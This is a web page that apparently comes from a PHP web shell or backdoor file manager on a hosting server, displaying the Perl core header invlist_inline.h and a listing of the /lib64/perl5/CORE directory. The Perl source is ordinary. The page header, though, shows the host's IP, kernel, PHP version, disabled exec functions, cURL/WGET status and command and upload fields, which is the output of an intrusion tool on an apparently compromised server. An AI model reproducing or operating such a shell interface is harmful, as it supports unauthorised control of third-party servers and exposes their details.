Server IP : 149.255.58.128 / Your IP : 216.73.216.67
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /lib64/perl5/CORE//invlist_inline.h
/* invlist_inline.h
*
* Copyright (C) 2012 by Larry Wall and others
*
* You may distribute under the terms of either the GNU General Public
* License or the Artistic License, as specified in the README file.
*/
#ifndef PERL_INVLIST_INLINE_H_
#define PERL_INVLIST_INLINE_H_
#if defined(PERL_IN_UTF8_C) \
|| defined(PERL_IN_REGCOMP_C) \
|| defined(PERL_IN_REGEXEC_C) \
|| defined(PERL_IN_TOKE_C) \
|| defined(PERL_IN_PP_C) \
|| defined(PERL_IN_OP_C) \
|| defined(PERL_IN_DOOP_C)
/* An element is in an inversion list iff its index is even numbered: 0, 2, 4,
* etc */
#define ELEMENT_RANGE_MATCHES_INVLIST(i) (! ((i) & 1))
#define PREV_RANGE_MATCHES_INVLIST(i) (! ELEMENT_RANGE_MATCHES_INVLIST(i))
/* This converts to/from our UVs to what the SV code is expecting: bytes. */
#define TO_INTERNAL_SIZE(x) ((x) * sizeof(UV))
#define FROM_INTERNAL_SIZE(x) ((x)/ sizeof(UV))
PERL_STATIC_INLINE bool
S_is_invlist(SV* const invlist)
{
return invlist != NULL && SvTYPE(invlist) == SVt_INVLIST;
}
PERL_STATIC_INLINE bool*
S_get_invlist_offset_addr(SV* invlist)
{
/* Return the address of the field that says whether the inversion list is
* offset (it contains 1) or not (contains 0) */
PERL_ARGS_ASSERT_GET_INVLIST_OFFSET_ADDR;
assert(is_invlist(invlist));
return &(((XINVLIST*) SvANY(invlist))->is_offset);
}
PERL_STATIC_INLINE UV
S__invlist_len(SV* const invlist)
{
/* Returns the current number of elements stored in the inversion list's
* array */
PERL_ARGS_ASSERT__INVLIST_LEN;
assert(is_invlist(invlist));
return (SvCUR(invlist) == 0)
? 0
: FROM_INTERNAL_SIZE(SvCUR(invlist)) - *get_invlist_offset_addr(invlist);
}
PERL_STATIC_INLINE bool
S__invlist_contains_cp(SV* const invlist, const UV cp)
{
/* Does <invlist> contain code point <cp> as part of the set? */
IV index = _invlist_search(invlist, cp);
PERL_ARGS_ASSERT__INVLIST_CONTAINS_CP;
return index >= 0 && ELEMENT_RANGE_MATCHES_INVLIST(index);
}
PERL_STATIC_INLINE UV*
S_invlist_array(SV* const invlist)
{
/* Returns the pointer to the inversion list's array. Every time the
* length changes, this needs to be called in case malloc or realloc moved
* it */
PERL_ARGS_ASSERT_INVLIST_ARRAY;
/* Must not be empty. If these fail, you probably didn't check for <len>
* being non-zero before trying to get the array */
assert(_invlist_len(invlist));
/* The very first element always contains zero, The array begins either
* there, or if the inversion list is offset, at the element after it.
* The offset header field determines which; it contains 0 or 1 to indicate
* how much additionally to add */
assert(0 == *(SvPVX(invlist)));
return ((UV *) SvPVX(invlist) + *get_invlist_offset_addr(invlist));
}
#endif
#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_OP_C) || defined(PERL_IN_DOOP_C)
PERL_STATIC_INLINE void
S_invlist_extend(pTHX_ SV* const invlist, const UV new_max)
{
/* Grow the maximum size of an inversion list */
PERL_ARGS_ASSERT_INVLIST_EXTEND;
assert(SvTYPE(invlist) == SVt_INVLIST);
/* Add one to account for the zero element at the beginning which may not
* be counted by the calling parameters */
SvGROW((SV *)invlist, TO_INTERNAL_SIZE(new_max + 1));
}
PERL_STATIC_INLINE void
S_invlist_set_len(pTHX_ SV* const invlist, const UV len, const bool offset)
{
/* Sets the current number of elements stored in the inversion list.
* Updates SvCUR correspondingly */
PERL_UNUSED_CONTEXT;
PERL_ARGS_ASSERT_INVLIST_SET_LEN;
assert(SvTYPE(invlist) == SVt_INVLIST);
SvCUR_set(invlist,
(len == 0)
? 0
: TO_INTERNAL_SIZE(len + offset));
assert(SvLEN(invlist) == 0 || SvCUR(invlist) <= SvLEN(invlist));
}
PERL_STATIC_INLINE SV*
S_add_cp_to_invlist(pTHX_ SV* invlist, const UV cp) {
return _add_range_to_invlist(invlist, cp, cp);
}
PERL_STATIC_INLINE UV
S_invlist_highest(SV* const invlist)
{
/* Returns the highest code point that matches an inversion list. This API
* has an ambiguity, as it returns 0 under either the highest is actually
* 0, or if the list is empty. If this distinction matters to you, check
* for emptiness before calling this function */
UV len = _invlist_len(invlist);
UV *array;
PERL_ARGS_ASSERT_INVLIST_HIGHEST;
if (len == 0) {
return 0;
}
array = invlist_array(invlist);
/* The last element in the array in the inversion list always starts a
* range that goes to infinity. That range may be for code points that are
* matched in the inversion list, or it may be for ones that aren't
* matched. In the latter case, the highest code point in the set is one
* less than the beginning of this range; otherwise it is the final element
* of this range: infinity */
return (ELEMENT_RANGE_MATCHES_INVLIST(len - 1))
? UV_MAX
: array[len - 1] - 1;
}
#endif
#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_OP_C)
PERL_STATIC_INLINE STRLEN*
S_get_invlist_iter_addr(SV* invlist)
{
/* Return the address of the UV that contains the current iteration
* position */
PERL_ARGS_ASSERT_GET_INVLIST_ITER_ADDR;
assert(is_invlist(invlist));
return &(((XINVLIST*) SvANY(invlist))->iterator);
}
PERL_STATIC_INLINE void
S_invlist_iterinit(SV* invlist) /* Initialize iterator for invlist */
{
PERL_ARGS_ASSERT_INVLIST_ITERINIT;
*get_invlist_iter_addr(invlist) = 0;
}
PERL_STATIC_INLINE void
S_invlist_iterfinish(SV* invlist)
{
/* Terminate iterator for invlist. This is to catch development errors.
* Any iteration that is interrupted before completed should call this
* function. Functions that add code points anywhere else but to the end
* of an inversion list assert that they are not in the middle of an
* iteration. If they were, the addition would make the iteration
* problematical: if the iteration hadn't reached the place where things
* were being added, it would be ok */
PERL_ARGS_ASSERT_INVLIST_ITERFINISH;
*get_invlist_iter_addr(invlist) = (STRLEN) UV_MAX;
}
STATIC bool
S_invlist_iternext(SV* invlist, UV* start, UV* end)
{
/* An C<invlist_iterinit> call on <invlist> must be used to set this up.
* This call sets in <*start> and <*end>, the next range in <invlist>.
* Returns <TRUE> if successful and the next call will return the next
* range; <FALSE> if was already at the end of the list. If the latter,
* <*start> and <*end> are unchanged, and the next call to this function
* will start over at the beginning of the list */
STRLEN* pos = get_invlist_iter_addr(invlist);
UV len = _invlist_len(invlist);
UV *array;
PERL_ARGS_ASSERT_INVLIST_ITERNEXT;
if (*pos >= len) {
*pos = (STRLEN) UV_MAX; /* Force iterinit() to be required next time */
return FALSE;
}
array = invlist_array(invlist);
*start = array[(*pos)++];
if (*pos >= len) {
*end = UV_MAX;
}
else {
*end = array[(*pos)++] - 1;
}
return TRUE;
}
#endif
#ifndef PERL_IN_REGCOMP_C
/* These symbols are only needed later in regcomp.c */
# undef TO_INTERNAL_SIZE
# undef FROM_INTERNAL_SIZE
#endif
#endif /* PERL_INVLIST_INLINE_H_ */
Name |
Size |
Last Modified |
Owner / Group |
Permissions |
Options |
.. | -- | May 30 2024 07:43:02 | 0 / root | 0755 | |
| | | | | |
EXTERN.h | 1.592 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
INTERN.h | 1.278 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
XSUB.h | 24.03 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
av.h | 3.274 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
bitcount.h | 0.83 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
charclass_invlists.h | 4.15 MB | April 03 2024 14:35:12 | 0 / root | 0644 | |
config.h | 160.343 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
cop.h | 41.013 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
cv.h | 12.043 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
dosish.h | 5.297 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
ebcdic_tables.h | 48.597 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
embed.h | 98.864 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
embedvar.h | 21.321 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
fakesdio.h | 3.135 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
feature.h | 10.795 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
form.h | 1.429 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
git_version.h | 0.349 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
gv.h | 10.46 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
handy.h | 126.719 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
hv.h | 24.993 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
hv_func.h | 11.26 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
hv_macro.h | 3.036 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
inline.h | 72.992 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
intrpvar.h | 31.472 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
invlist_inline.h | 7.255 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
iperlsys.h | 48.234 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
keywords.h | 6.454 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
l1_char_class_tab.h | 119.641 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
libperl.so | 3.56 MB | April 03 2024 14:35:42 | 0 / root | 0755 | |
malloc_ctl.h | 1.488 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
metaconfig.h | 0.676 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
mg.h | 2.942 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
mg_data.h | 4.903 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
mg_raw.h | 4.274 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
mg_vtable.h | 9.338 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
mydtrace.h | 1.653 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
nostdio.h | 3.313 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
op.h | 37.352 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
op_reg_common.h | 5.772 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
opcode.h | 91.727 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
opnames.h | 8.718 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
overload.h | 3.199 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
pad.h | 16.828 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
parser.h | 6.829 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
patchlevel.h | 8.851 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perl.h | 276.921 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perl_inc_macro.h | 6.077 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perl_langinfo.h | 2.846 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perlapi.h | 7.5 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perldtrace.h | 3.224 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perlio.h | 9.331 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perliol.h | 13.438 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perlsdio.h | 0.515 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perlvars.h | 12.631 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
perly.h | 4.579 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
pp.h | 28.302 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
pp_proto.h | 11.784 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
proto.h | 270.998 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
reentr.h | 84.608 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
regcharclass.h | 163.816 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
regcomp.h | 51.811 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
regexp.h | 35.751 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
regnodes.h | 39.404 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
sbox32_hash.h | 55.951 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
scope.h | 11.614 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
stadtx_hash.h | 9.005 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
sv.h | 86.815 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
thread.h | 11.812 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
time64.h | 1.141 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
time64_config.h | 2 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
uconfig.h | 160.08 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
uni_keywords.h | 541.71 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
unicode_constants.h | 7.843 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
unixish.h | 5.146 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
utf8.h | 49.249 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
utfebcdic.h | 64.098 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
util.h | 10.327 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
uudmap.h | 0.883 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
vutil.h | 7.806 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
warnings.h | 11.195 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |
zaphod32_hash.h | 9.432 KB | April 03 2024 14:35:12 | 0 / root | 0644 | |